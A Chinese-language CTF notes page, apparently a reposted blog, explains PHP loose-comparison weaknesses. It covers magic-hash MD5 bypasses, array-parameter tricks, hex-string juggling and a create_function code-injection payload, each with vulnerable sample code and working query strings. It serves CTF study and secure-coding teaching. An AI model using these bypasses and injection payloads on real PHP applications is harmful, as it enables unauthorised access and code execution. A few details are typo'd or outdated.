WEB 知识点专题

CTF知识点个人总结 —WEB

  • PHP弱类型的比较及各种绕过

PHP中有两种比较的符号,== 与 ===
$a==$b的比较中:

$a=null;$b=flase ; //true
$a='';$b=null; //true

比较中还有很多此类情况,又如

1 <?php
2 var_dump("admin"==0);  //true
3 var_dump("1admin"==1); //true
4 var_dump("admin1"==1) //false
5 var_dump("admin1"==0) //true
6 var_dump("0e123456"=="0e4456789"); //true 
7 ?>  

这个时候我们就要明白在PHP中,== 在进行比较的时候,会先将字符串类型转化成相同,再比较。=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。所以=== 和 ==相比,前者更为严谨,而使用后者则会产生一些可利用之处来进行bypass。

类型转化中遇到的问题

  • 如果该字符串没有包含’.’ , ’e’ ,’E’ 而且数值值在整形的范围之内,这个字符串会被当作int来取值。
  • 其他情况下都被作为float来取值
  • 字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
1 <?php
2 $test1=1 + "10.5"; // $test1=11.5(float)
3 $test2=1+"-1.3e3"; //$test2=-1299(float)
4 $test3=1+"add-1.3e3";//$test3=1(int)
5 $test4=1+"2admin";//$test4=3(int)
6 $test5=1+"admin2";//$test5=1(int)
7 ?>

这段PHP代码也就是解释的上文所说的类型转化中所出现的情况。

CTF中出现的弱类型比较

  • MD5绕过

在进行比较运算时,如果遇到了0e这类字符串,PHP会将它解析为科学计数法。所以大多数弱类型的MD5能够通过构造出0e来解决。

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

Solution 1

考虑到经过md5加密之后以0e开头的,值都为0,所以直接上传两个MD5加密后开头为0e的即可成功Bypass,而这样的payload其实网上挺多的,在这里给大噶列举一些。

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514

240610708 
0e462097431906509019562988736854

因此md5(‘240610708’) == md5(‘QNKCDZO’)是正确的,即可成功绕过。

Solution 2

我们知道,md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
payload: ?a[]=1&b[]=0即可
在这里继续补充PHP函数返回值
1.md5()如果传入为数组则返回为NULL

2.strpos()如果传入数组,会返回NULL

3.strcmp函数无法比较数组,可以使用数组绕过。因为PHP内置函数的松散性,数组与字符串比较会返回null,可看做false

4.sha1()如果传入数组,同样返回NULL。

  • 数组绕过

<?php
 2 if(!is_array($_GET['test'])){exit();}
 3 $test=$_GET['test'];
 4 for($i=0;$i<count($test);$i++){
 5     if($test[$i]==="admin"){
 6         echo "error";
 7         exit();
 8     }
 9     $test[$i]=intval($test[$i]);
10 }
11 if(array_search("admin",$test)===0){
12     echo "flag";
13 }
14 else{
15     echo "false";
16 }
17 ?>

千万别被吓坏了,这个题出其实就是看你知不知道array_search()函数的弱类型比较,这个函数有三个参数,array_search() 函数与 in_array()一样,在数组中查找一个键值。如果找到了该值,匹配元素的键名会被返回。如果没找到,则返回 false。但如果第三个参数 strict 被指定为 true,则只有在数据类型都一致时才返回相应元素的键名。而第三个参数默认是flase,所以array_search() 在test数值型数组中查找 “admin” 这个字符串的时候,首先会把字符串转换为数字0,查询成功后就会返回其键名,所以此时构造payload=?test[0]=0

  • 十六进制弱类型转换绕过

存在一种十六进制和字符串进行比较运算时的问题

"0x1e240" == "123456" //true
"0x1e240" == 123456 //true
"0x1e240" == "1e240" //false

这是因为当其中的一个字符串是0x开头的时候,PHP会将此字符串解析成为十进制然后再进行比较,0x1240解析成为十进制就是123456,所以与int类型和string类型的123456比较都是相等的,此处 == 则存在可以绕过的地方。例子如下:

<?php
function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
    echo $flag;
else 
    echo 'access denied';
?>

题目的意思是你在url中输入一个key=****的字符串,然后这个字符串的askii码依次跟1和9比较,也就是说字符串中不允许有1-9的数字在里面,但是最后return $number == '54975581388';}这句话不要理解错了,要么return false; ,要么return true;也就是说字符串的值没有数字还要和54975581388相等才行,这个时候就利用到了十六进制的类型转换,因为54975581388的hex值正好全是英文CCCCC CCCC‬这个时候只需要在其前面加上0X即可成功绕过!
payload为?key=0XCCCCCCCCC‬

  • 其他类型绕过

话不多说,直接上码。

 1     <?php
 2 
 3     function flag()
 4     {
 5         echo "flag{xxxxxxx}";
 6     }
 7 
 8     $sort_by = $_GET['sort_by'];
 9     $sorter = 'strnatcasecmp';
10     $databases=array('1234','4321');
11     $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
12     usort($databases, create_function('$a, $b', $sort_function));

要是能够调用flag()就美滋滋了,但是代码中并没有出现,我们所能控制的变量只有一个sort_by,所以这个GET型变量成为了突破口。usort函数相当于调用了一个自定义的函数$sort_function来对$databases这个数组进行运算比较,usort构造了一个自定义函数,参数为 a , a, b,函数体为$sort_function,这个匿名函数相当于是这样写的

function mydefine($a,$b){ 函数体($sort_function) }

这个时候我们将其代码还原,如果sort_by=1,则会调用

 function mydefine($a,$b){ return 1 * strnatcasecmp($a["1"], $b["1"]);}

这个时候我们就要在sort_by=?这个?下功夫了,既然我们想要调用flag(),那么我们就尝试闭合return并且构造函数,构造payload
?sort_by=1"],$b["1"];}flag();//
此时PHP为

function mydefine($a,$b){ return 1 * strnatcasecmp($a["1"],$b["1"];}flag();//"], $b["1"],$b["1"]}flag();//"]);}

而//为注释符,后面全部被注释掉了,所以最终成功调用flag()

发布了17 篇原创文章 · 获赞 3 · 访问量 1085

猜你喜欢

转载自blog.csdn.net/crisprx/article/details/103011725